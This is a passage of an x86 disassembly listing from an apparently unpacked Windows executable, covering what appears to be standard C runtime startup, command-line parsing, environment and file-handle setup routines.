[eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_412609 ; --------------------------------------------------------------------------- loc_4125F5: ; CODE XREF: sub_412573+Dj ; sub_412573+2Aj and dword_47F918, 0 mov dword_47F914, 9 loc_412606: ; CODE XREF: sub_412573+42j ; sub_412573+71j or eax, 0FFFFFFFFh loc_412609: ; CODE XREF: sub_412573+80j pop edi pop esi pop ebx retn sub_412573 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41260D proc near ; CODE XREF: sub_40D488+2Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_412629 mov [edi+4], ebx loc_412629: ; CODE XREF: sub_41260D+17j push 1 push ebx push esi call sub_412573 add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_412697 mov edx, [edi+0Ch] test dx, 108h jnz short loc_41264E sub eax, [edi+4] jmp loc_412760 ; --------------------------------------------------------------------------- loc_41264E: ; CODE XREF: sub_41260D+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_412688 mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_480C40[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_41269F mov edx, ecx loc_412679: ; CODE XREF: sub_41260D+79j cmp edx, eax jnb short loc_41269F cmp byte ptr [edx], 0Ah jnz short loc_412685 inc [ebp+var_8] loc_412685: ; CODE XREF: sub_41260D+73j inc edx jmp short loc_412679 ; --------------------------------------------------------------------------- loc_412688: ; CODE XREF: sub_41260D+50j test dl, 80h jnz short loc_41269F mov dword_47F914, 16h loc_412697: ; CODE XREF: sub_41260D+2Dj or eax, 0FFFFFFFFh jmp loc_412760 ; --------------------------------------------------------------------------- loc_41269F: ; CODE XREF: sub_41260D+68j ; sub_41260D+6Ej ... cmp [ebp+var_4], 0 jnz short loc_4126AD mov eax, [ebp+var_8] jmp loc_412760 ; --------------------------------------------------------------------------- loc_4126AD: ; CODE XREF: sub_41260D+96j test byte ptr [edi+0Ch], 1 jz loc_412758 mov edx, [edi+4] test edx, edx jnz short loc_4126C6 and [ebp+var_8], edx jmp loc_412758 ; --------------------------------------------------------------------------- loc_4126C6: ; CODE XREF: sub_41260D+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:480C40h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_412752 push 2 push 0 push [ebp+var_C] call sub_412573 add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_412719 mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_412704: ; CODE XREF: sub_41260D+104j cmp eax, ecx jnb short loc_412713 cmp byte ptr [eax], 0Ah jnz short loc_412710 inc [ebp+arg_0] loc_412710: ; CODE XREF: sub_41260D+FEj inc eax jmp short loc_412704 ; --------------------------------------------------------------------------- loc_412713: ; CODE XREF: sub_41260D+F9j test byte ptr [edi+0Dh], 20h jmp short loc_41274D ; --------------------------------------------------------------------------- loc_412719: ; CODE XREF: sub_41260D+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_412573 mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_412740 mov ecx, [edi+0Ch] test cl, 8 jz short loc_412740 test ch, 4 jz short loc_412743 loc_412740: ; CODE XREF: sub_41260D+124j ; sub_41260D+12Cj mov eax, [edi+18h] loc_412743: ; CODE XREF: sub_41260D+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_41274D: ; CODE XREF: sub_41260D+10Aj jz short loc_412752 inc [ebp+arg_0] loc_412752: ; CODE XREF: sub_41260D+D9j ; sub_41260D:loc_41274Dj mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_412758: ; CODE XREF: sub_41260D+A4j ; sub_41260D+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_412760: ; CODE XREF: sub_41260D+3Cj ; sub_41260D+8Dj ... pop edi pop esi pop ebx leave retn sub_41260D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412765 proc near ; CODE XREF: sub_40D514+E3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push [ebp+arg_0] call sub_4128A6 test eax, eax pop ecx jz loc_41289A mov ebx, [eax+8] test ebx, ebx jz loc_41289A cmp ebx, 5 jnz short loc_412796 and dword ptr [eax+8], 0 push 1 pop eax jmp loc_4128A3 ; --------------------------------------------------------------------------- loc_412796: ; CODE XREF: sub_412765+23j cmp ebx, 1 jz loc_412895 mov ecx, dword_47F9C8 mov [ebp+arg_0], ecx mov ecx, [ebp+arg_4] mov dword_47F9C8, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_412885 mov ecx, dword_420268 mov edx, dword_42026C add edx, ecx push esi cmp ecx, edx jge short loc_4127E5 lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:4201F8h[esi*4] loc_4127DC: ; CODE XREF: sub_412765+7Ej and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_4127DC loc_4127E5: ; CODE XREF: sub_412765+69j mov eax, [eax] mov esi, dword_420274 cmp eax, 0C000008Eh jnz short loc_412800 mov dword_420274, 83h jmp short loc_412870 ; --------------------------------------------------------------------------- loc_412800: ; CODE XREF: sub_412765+8Dj cmp eax, 0C0000090h jnz short loc_412813 mov dword_420274, 81h jmp short loc_412870 ; --------------------------------------------------------------------------- loc_412813: ; CODE XREF: sub_412765+A0j cmp eax, 0C0000091h jnz short loc_412826 mov dword_420274, 84h jmp short loc_412870 ; --------------------------------------------------------------------------- loc_412826: ; CODE XREF: sub_412765+B3j cmp eax, 0C0000093h jnz short loc_412839 mov dword_420274, 85h jmp short loc_412870 ; --------------------------------------------------------------------------- loc_412839: ; CODE XREF: sub_412765+C6j cmp eax, 0C000008Dh jnz short loc_41284C mov dword_420274, 82h jmp short loc_412870 ; --------------------------------------------------------------------------- loc_41284C: ; CODE XREF: sub_412765+D9j cmp eax, 0C000008Fh jnz short loc_41285F mov dword_420274, 86h jmp short loc_412870 ; --------------------------------------------------------------------------- loc_41285F: ; CODE XREF: sub_412765+ECj cmp eax, 0C0000092h jnz short loc_412870 mov dword_420274, 8Ah loc_412870: ; CODE XREF: sub_412765+99j ; sub_412765+ACj ... push dword_420274 push 8 call ebx pop ecx mov dword_420274, esi pop ecx pop esi jmp short loc_41288D ; --------------------------------------------------------------------------- loc_412885: ; CODE XREF: sub_412765+52j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_41288D: ; CODE XREF: sub_412765+11Ej mov eax, [ebp+arg_0] mov dword_47F9C8, eax loc_412895: ; CODE XREF: sub_412765+34j or eax, 0FFFFFFFFh jmp short loc_4128A3 ; --------------------------------------------------------------------------- loc_41289A: ; CODE XREF: sub_412765+Fj ; sub_412765+1Aj push [ebp+arg_4] call dword_417164 ; UnhandledExceptionFilter loc_4128A3: ; CODE XREF: sub_412765+2Cj ; sub_412765+133j pop ebx pop ebp retn sub_412765 endp ; =============== S U B R O U T I N E ======================================= sub_4128A6 proc near ; CODE XREF: sub_412765+7p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_420270 cmp dword_4201F0, edx push esi mov eax, offset dword_4201F0 jz short loc_4128D3 lea esi, [ecx+ecx*2] lea esi, ds:4201F0h[esi*4] loc_4128C8: ; CODE XREF: sub_4128A6+2Bj add eax, 0Ch cmp eax, esi jnb short loc_4128D3 cmp [eax], edx jnz short loc_4128C8 loc_4128D3: ; CODE XREF: sub_4128A6+16j ; sub_4128A6+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:4201F0h[ecx*4] cmp eax, ecx jnb short loc_4128E6 cmp [eax], edx jz short locret_4128E8 loc_4128E6: ; CODE XREF: sub_4128A6+3Aj xor eax, eax locret_4128E8: ; CODE XREF: sub_4128A6+3Ej retn sub_4128A6 endp ; =============== S U B R O U T I N E ======================================= sub_4128E9 proc near ; CODE XREF: sub_40D514+A5p cmp dword_480F94, 0 jnz short loc_4128F7 call sub_412403 loc_4128F7: ; CODE XREF: sub_4128E9+7j push esi mov esi, dword_480F8C mov al, [esi] cmp al, 22h jnz short loc_412929 loc_412904: ; CODE XREF: sub_4128E9+33j ; sub_4128E9+36j mov al, [esi+1] inc esi cmp al, 22h jz short loc_412921 test al, al jz short loc_412921 movzx eax, al push eax call sub_414982 test eax, eax pop ecx jz short loc_412904 inc esi jmp short loc_412904 ; --------------------------------------------------------------------------- loc_412921: ; CODE XREF: sub_4128E9+21j ; sub_4128E9+25j cmp byte ptr [esi], 22h jnz short loc_412933 loc_412926: ; CODE XREF: sub_4128E9+52j inc esi jmp short loc_412933 ; --------------------------------------------------------------------------- loc_412929: ; CODE XREF: sub_4128E9+19j cmp al, 20h jbe short loc_412933 loc_41292D: ; CODE XREF: sub_4128E9+48j inc esi cmp byte ptr [esi], 20h ja short loc_41292D loc_412933: ; CODE XREF: sub_4128E9+3Bj ; sub_4128E9+3Ej ... mov al, [esi] test al, al jz short loc_41293D cmp al, 20h jbe short loc_412926 loc_41293D: ; CODE XREF: sub_4128E9+4Ej mov eax, esi pop esi retn sub_4128E9 endp ; =============== S U B R O U T I N E ======================================= sub_412941 proc near ; CODE XREF: sub_40D514+8Ep push ebx xor ebx, ebx cmp dword_480F94, ebx push esi push edi jnz short loc_412953 call sub_412403 loc_412953: ; CODE XREF: sub_412941+Bj mov esi, dword_47F960 xor edi, edi loc_41295B: ; CODE XREF: sub_412941+30j mov al, [esi] cmp al, bl jz short loc_412973 cmp al, 3Dh jz short loc_412966 inc edi loc_412966: ; CODE XREF: sub_412941+22j push esi call sub_40B5B0 pop ecx lea esi, [esi+eax+1] jmp short loc_41295B ; --------------------------------------------------------------------------- loc_412973: ; CODE XREF: sub_412941+1Ej lea eax, ds:4[edi*4] push eax call sub_40B6BF mov esi, eax pop ecx cmp esi, ebx mov dword_47F93C, esi jnz short loc_412995 push 9 call sub_40D60A pop ecx loc_412995: ; CODE XREF: sub_412941+4Aj mov edi, dword_47F960 cmp [edi], bl jz short loc_4129D8 push ebp loc_4129A0: ; CODE XREF: sub_412941+94j push edi call sub_40B5B0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_4129D1 push ebp call sub_40B6BF cmp eax, ebx pop ecx mov [esi], eax jnz short loc_4129C4 push 9 call sub_40D60A pop ecx loc_4129C4: ; CODE XREF: sub_412941+79j push edi push dword ptr [esi] call sub_40CD70 pop ecx add esi, 4 pop ecx loc_4129D1: ; CODE XREF: sub_412941+6Cj add edi, ebp cmp [edi], bl jnz short loc_4129A0 pop ebp loc_4129D8: ; CODE XREF: sub_412941+5Cj push dword_47F960 call sub_40B771 pop ecx mov dword_47F960, ebx mov [esi], ebx pop edi pop esi mov dword_480F90, 1 pop ebx retn sub_412941 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4129FA proc near ; CODE XREF: sub_40D514+89p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_480F94, ebx push esi push edi jnz short loc_412A11 call sub_412403 loc_412A11: ; CODE XREF: sub_4129FA+10j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx call dword_41704C ; GetModuleFileNameA mov eax, dword_480F8C mov off_47F94C, esi mov edi, esi cmp [eax], bl jz short loc_412A36 mov edi, eax loc_412A36: ; CODE XREF: sub_4129FA+38j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push ebx push ebx push edi call sub_412A93 mov eax, [ebp+var_8] mov ecx, [ebp+var_4] lea eax, [eax+ecx*4] push eax call sub_40B6BF mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_412A66 push 8 call sub_40D60A pop ecx loc_412A66: ; CODE XREF: sub_4129FA+62j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax mov eax, [ebp+var_4] lea eax, [esi+eax*4] push eax push esi push edi call sub_412A93 mov eax, [ebp+var_4] add esp, 14h dec eax mov dword_47F934, esi pop edi pop esi mov dword_47F930, eax pop ebx leave retn sub_4129FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412A93 proc near ; CODE XREF: sub_4129FA+47p ; sub_4129FA+7Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_412ABD mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_412ABD: ; CODE XREF: sub_412A93+20j cmp byte ptr [eax], 22h jnz short loc_412B06 loc_412AC2: ; CODE XREF: sub_412A93+58j ; sub_412A93+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_412AF4 test dl, dl jz short loc_412AF4 movzx edx, dl test byte_480E61[edx], 4 jz short loc_412AE7 inc dword ptr [ecx] test esi, esi jz short loc_412AE7 mov dl, [eax] mov [esi], dl inc esi inc eax loc_412AE7: ; CODE XREF: sub_412A93+46j ; sub_412A93+4Cj inc dword ptr [ecx] test esi, esi jz short loc_412AC2 mov dl, [eax] mov [esi], dl inc esi jmp short loc_412AC2 ; --------------------------------------------------------------------------- loc_412AF4: ; CODE XREF: sub_412A93+36j ; sub_412A93+3Aj inc dword ptr [ecx] test esi, esi jz short loc_412AFE and byte ptr [esi], 0 inc esi loc_412AFE: ; CODE XREF: sub_412A93+65j cmp byte ptr [eax], 22h jnz short loc_412B49 inc eax jmp short loc_412B49 ; --------------------------------------------------------------------------- loc_412B06: ; CODE XREF: sub_412A93+2Dj ; sub_412A93+A5j inc dword ptr [ecx] test esi, esi jz short loc_412B11 mov dl, [eax] mov [esi], dl inc esi loc_412B11: ; CODE XREF: sub_412A93+77j mov dl, [eax] inc eax movzx ebx, dl test byte_480E61[ebx], 4 jz short loc_412B2C inc dword ptr [ecx] test esi, esi jz short loc_412B2B mov bl, [eax] mov [esi], bl inc esi loc_412B2B: ; CODE XREF: sub_412A93+91j inc eax loc_412B2C: ; CODE XREF: sub_412A93+8Bj cmp dl, 20h jz short loc_412B3A test dl, dl jz short loc_412B3E cmp dl, 9 jnz short loc_412B06 loc_412B3A: ; CODE XREF: sub_412A93+9Cj test dl, dl jnz short loc_412B41 loc_412B3E: ; CODE XREF: sub_412A93+A0j dec eax jmp short loc_412B49 ; --------------------------------------------------------------------------- loc_412B41: ; CODE XREF: sub_412A93+A9j test esi, esi jz short loc_412B49 and byte ptr [esi-1], 0 loc_412B49: ; CODE XREF: sub_412A93+6Ej ; sub_412A93+71j ... and [ebp+arg_10], 0 loc_412B4D: ; CODE XREF: sub_412A93+19Ej cmp byte ptr [eax], 0 jz loc_412C36 loc_412B56: ; CODE XREF: sub_412A93+D0j mov dl, [eax] cmp dl, 20h jz short loc_412B62 cmp dl, 9 jnz short loc_412B65 loc_412B62: ; CODE XREF: sub_412A93+C8j inc eax jmp short loc_412B56 ; --------------------------------------------------------------------------- loc_412B65: ; CODE XREF: sub_412A93+CDj cmp byte ptr [eax], 0 jz loc_412C36 test edi, edi jz short loc_412B7A mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_412B7A: ; CODE XREF: sub_412A93+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_412B7F: ; CODE XREF: sub_412A93+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_412B88: ; CODE XREF: sub_412A93+FCj cmp byte ptr [eax], 5Ch jnz short loc_412B91 inc eax inc ebx jmp short loc_412B88 ; --------------------------------------------------------------------------- loc_412B91: ; CODE XREF: sub_412A93+F8j cmp byte ptr [eax], 22h jnz short loc_412BC2 test bl, 1 jnz short loc_412BC0 xor edi, edi cmp [ebp+arg_10], edi jz short loc_412BAF cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_412BAF mov eax, edx jmp short loc_412BB2 ; --------------------------------------------------------------------------- loc_412BAF: ; CODE XREF: sub_412A93+10Dj ; sub_412A93+116j mov [ebp+arg_0], edi loc_412BB2: ; CODE XREF: sub_412A93+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_412BC0: ; CODE XREF: sub_412A93+106j shr ebx, 1 loc_412BC2: ; CODE XREF: sub_412A93+101j mov edx, ebx dec ebx test edx, edx jz short loc_412BD7 inc ebx loc_412BCA: ; CODE XREF: sub_412A93+142j test esi, esi jz short loc_412BD2 mov byte ptr [esi], 5Ch inc esi loc_412BD2: ; CODE XREF: sub_412A93+139j inc dword ptr [ecx] dec ebx jnz short loc_412BCA loc_412BD7: ; CODE XREF: sub_412A93+134j mov dl, [eax] test dl, dl jz short loc_412C27 cmp [ebp+arg_10], 0 jnz short loc_412BED cmp dl, 20h jz short loc_412C27 cmp dl, 9 jz short loc_412C27 loc_412BED: ; CODE XREF: sub_412A93+14Ej cmp [ebp+arg_0], 0 jz short loc_412C21 test esi, esi jz short loc_412C10 movzx ebx, dl test byte_480E61[ebx], 4 jz short loc_412C09 mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_412C09: ; CODE XREF: sub_412A93+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_412C1F ; --------------------------------------------------------------------------- loc_412C10: ; CODE XREF: sub_412A93+162j movzx edx, dl test byte_480E61[edx], 4 jz short loc_412C1F inc eax inc dword ptr [ecx] loc_412C1F: ; CODE XREF: sub_412A93+17Bj ; sub_412A93+187j inc dword ptr [ecx] loc_412C21: ; CODE XREF: sub_412A93+15Ej inc eax jmp loc_412B7F ; --------------------------------------------------------------------------- loc_412C27: ; CODE XREF: sub_412A93+148j ; sub_412A93+153j ... test esi, esi jz short loc_412C2F and byte ptr [esi], 0 inc esi loc_412C2F: ; CODE XREF: sub_412A93+196j inc dword ptr [ecx] jmp loc_412B4D ; --------------------------------------------------------------------------- loc_412C36: ; CODE XREF: sub_412A93+BDj ; sub_412A93+D5j test edi, edi jz short loc_412C3D and dword ptr [edi], 0 loc_412C3D: ; CODE XREF: sub_412A93+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_412A93 endp ; =============== S U B R O U T I N E ======================================= sub_412C47 proc near ; CODE XREF: sub_40D514+7Fp var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, dword_47FAD0 push ebx push ebp mov ebp, dword_41703C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_412C95 call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz short loc_412C76 mov dword_47FAD0, 1 jmp short loc_412C9E ; --------------------------------------------------------------------------- loc_412C76: ; CODE XREF: sub_412C47+21j call dword_417170 ; GetEnvironmentStrings mov edi, eax cmp edi, ebx jz loc_412D70 mov dword_47FAD0, 2 jmp loc_412D24 ; --------------------------------------------------------------------------- loc_412C95: ; CODE XREF: sub_412C47+19j cmp eax, 1 jnz loc_412D1F loc_412C9E: ; CODE XREF: sub_412C47+2Dj cmp esi, ebx jnz short loc_412CAE call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz loc_412D70 loc_412CAE: ; CODE XREF: sub_412C47+59j cmp [esi], bx mov eax, esi jz short loc_412CC3 loc_412CB5: ; CODE XREF: sub_412C47+73j ; sub_412C47+7Aj inc eax inc eax cmp [eax], bx jnz short loc_412CB5 inc eax inc eax cmp [eax], bx jnz short loc_412CB5 loc_412CC3: ; CODE XREF: sub_412C47+6Cj sub eax, esi mov edi, dword_4170C0 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi ; WideCharToMultiByte mov ebp, eax cmp ebp, ebx jz short loc_412D14 push ebp call sub_40B6BF cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_412D14 push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi ; WideCharToMultiByte test eax, eax jnz short loc_412D10 push [esp+18h+var_8] call sub_40B771 pop ecx mov [esp+18h+var_8], ebx loc_412D10: ; CODE XREF: sub_412C47+B9j mov ebx, [esp+18h+var_8] loc_412D14: ; CODE XREF: sub_412C47+99j ; sub_412C47+A8j push esi call dword_41716C ; FreeEnvironmentStringsW mov eax, ebx jmp short loc_412D72 ; --------------------------------------------------------------------------- loc_412D1F: ; CODE XREF: sub_412C47+51j cmp eax, 2 jnz short loc_412D70 loc_412D24: ; CODE XREF: sub_412C47+49j cmp edi, ebx jnz short loc_412D34 call dword_417170 ; GetEnvironmentStrings mov edi, eax cmp edi, ebx jz short loc_412D70 loc_412D34: ; CODE XREF: sub_412C47+DFj cmp [edi], bl mov eax, edi jz short loc_412D44 loc_412D3A: ; CODE XREF: sub_412C47+F6j ; sub_412C47+FBj inc eax cmp [eax], bl jnz short loc_412D3A inc eax cmp [eax], bl jnz short loc_412D3A loc_412D44: ; CODE XREF: sub_412C47+F1j sub eax, edi inc eax mov ebp, eax push ebp call sub_40B6BF mov esi, eax pop ecx cmp esi, ebx jnz short loc_412D5A xor esi, esi jmp short loc_412D65 ; --------------------------------------------------------------------------- loc_412D5A: ; CODE XREF: sub_412C47+10Dj push ebp push edi push esi call sub_40B210 add esp, 0Ch loc_412D65: ; CODE XREF: sub_412C47+111j push edi call dword_417168 ; FreeEnvironmentStringsA mov eax, esi jmp short loc_412D72 ; --------------------------------------------------------------------------- loc_412D70: ; CODE XREF: sub_412C47+39j ; sub_412C47+61j ... xor eax, eax loc_412D72: ; CODE XREF: sub_412C47+D6j ; sub_412C47+127j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_412C47 endp ; =============== S U B R O U T I N E ======================================= sub_412D79 proc near ; CODE XREF: sub_40D514+6Fp var_44 = byte ptr -44h var_14 = dword ptr -14h var_10 = dword ptr -10h sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_40B6BF mov esi, eax pop ecx test esi, esi jnz short loc_412D99 push 1Bh call sub_40D60A pop ecx loc_412D99: ; CODE XREF: sub_412D79+16j mov dword_480C40, esi mov dword_480D40, 20h lea eax, [esi+100h] loc_412DAF: ; CODE XREF: sub_412D79+52j cmp esi, eax jnb short loc_412DCD and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_480C40 add esi, 8 add eax, 100h jmp short loc_412DAF ; --------------------------------------------------------------------------- loc_412DCD: ; CODE XREF: sub_412D79+38j lea eax, [esp+54h+var_44] push eax call dword_41711C ; GetStartupInfoA cmp word ptr [esp+54h+var_14+2], 0 jz loc_412EA9 mov eax, [esp+54h+var_10] test eax, eax jz loc_412EA9 mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_412E03 mov esi, eax loc_412E03: ; CODE XREF: sub_412D79+86j cmp dword_480D40, esi jge short loc_412E5D mov edi, offset dword_480C44 loc_412E10: ; CODE XREF: sub_412D79+DAj push 100h call sub_40B6BF test eax, eax pop ecx jz short loc_412E57 add dword_480D40, 20h mov [edi], eax lea ecx, [eax+100h] loc_412E2E: ; CODE XREF: sub_412D79+CFj cmp eax, ecx jnb short loc_412E4A and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_412E2E ; --------------------------------------------------------------------------- loc_412E4A: ; CODE XREF: sub_412D79+B7j add edi, 4 cmp dword_480D40, esi jl short loc_412E10 jmp short loc_412E5D ; --------------------------------------------------------------------------- loc_412E57: ; CODE XREF: sub_412D79+A4j mov esi, dword_480D40 loc_412E5D: ; CODE XREF: sub_412D79+90j ; sub_412D79+DCj xor edi, edi test esi, esi jle short loc_412EA9 loc_412E63: ; CODE XREF: sub_412D79+12Ej mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_412EA0 mov cl, [ebp+0] test cl, 1 jz short loc_412EA0 test cl, 8 jnz short loc_412E82 push eax call dword_417030 ; GetFileType test eax, eax jz short loc_412EA0 loc_412E82: ; CODE XREF: sub_412D79+FCj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_480C40[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_412EA0: ; CODE XREF: sub_412D79+EFj ; sub_412D79+F7j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_412E63 loc_412EA9: ; CODE XREF: sub_412D79+65j ; sub_412D79+71j ... xor ebx, ebx loc_412EAB: ; CODE XREF: sub_412D79+195j mov eax, dword_480C40 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_412F06 test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_412EC6 push 0FFFFFFF6h pop eax jmp short loc_412ED0 ; --------------------------------------------------------------------------- loc_412EC6: ; CODE XREF: sub_412D79+146j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_412ED0: ; CODE XREF: sub_412D79+14Bj push eax call dword_417034 ; GetStdHandle mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_412EF5 push edi call dword_417030 ; GetFileType test eax, eax jz short loc_412EF5 and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_412EFB loc_412EF5: ; CODE XREF: sub_412D79+163j ; sub_412D79+16Ej or byte ptr [esi+4], 40h jmp short loc_412F0A ; --------------------------------------------------------------------------- loc_412EFB: ; CODE XREF: sub_412D79+17Aj cmp eax, 3 jnz short loc_412F0A or byte ptr [esi+4], 8 jmp short loc_412F0A ; --------------------------------------------------------------------------- loc_412F06: ; CODE XREF: sub_412D79+13Ej or byte ptr [esi+4], 80h loc_412F0A: ; CODE XREF: sub_412D79+180j ; sub_412D79+185j ... inc ebx cmp ebx, 3 jl short loc_412EAB push dword_480D40 call dword_417038 ; LockResource pop edi pop esi pop ebp pop ebx add esp, 44h retn sub_412D79 endp ; --------------------------------------------------------------------------- push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412F2C proc near ; DATA XREF: sub_40D514+Ao ; sub_410EC0+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_412FCC mov [ebp+var_8], eax loc_412F4D: ; DATA XREF: .nsp0:off_41DA68o mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_412F5F: ; CODE XREF: sub_412F2C+90j cmp esi, 0FFFFFFFFh jz short loc_412FC5 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_412FB3 push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_412FB3 js short loc_412FBE mov edi, [ebx+8] push ebx call sub_40BCD8 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_40BD1A add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_40BDAE mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_412FB3: ; CODE XREF: sub_412F2C+40j ; sub_412F2C+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_412F5F ; --------------------------------------------------------------------------- loc_412FBE: ; CODE XREF: sub_412F2C+54j mov eax, 0 jmp short loc_412FE1 ; --------------------------------------------------------------------------- loc_412FC5: ; CODE XREF: sub_412F2C+36j mov eax, 1 jmp short loc_412FE1 ; --------------------------------------------------------------------------- loc_412FCC: ; CODE XREF: sub_412F2C+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_40BD1A add esp, 8 pop ebp mov eax, 1 loc_412FE1: ; CODE XREF: sub_412F2C+97j ; sub_412F2C+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_412F2C endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_40BD1A add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_413004 proc near ; CODE XREF: sub_40D60A+9p ; sub_40D62F+9p mov eax, dword_47F968 cmp eax, 1 jz short loc_41301B test eax, eax jnz short locret_41303C cmp dword_41DBF4, 1 jnz short locret_41303C loc_41301B: ; CODE XREF: sub_413004+8j push 0FCh call sub_41303D mov eax, dword_47FAD4 pop ecx test eax, eax jz short loc_413031 call eax loc_413031: ; CODE XREF: sub_413004+29j push 0FFh call sub_41303D pop ecx locret_41303C: ; CODE XREF: sub_413004+Cj ; 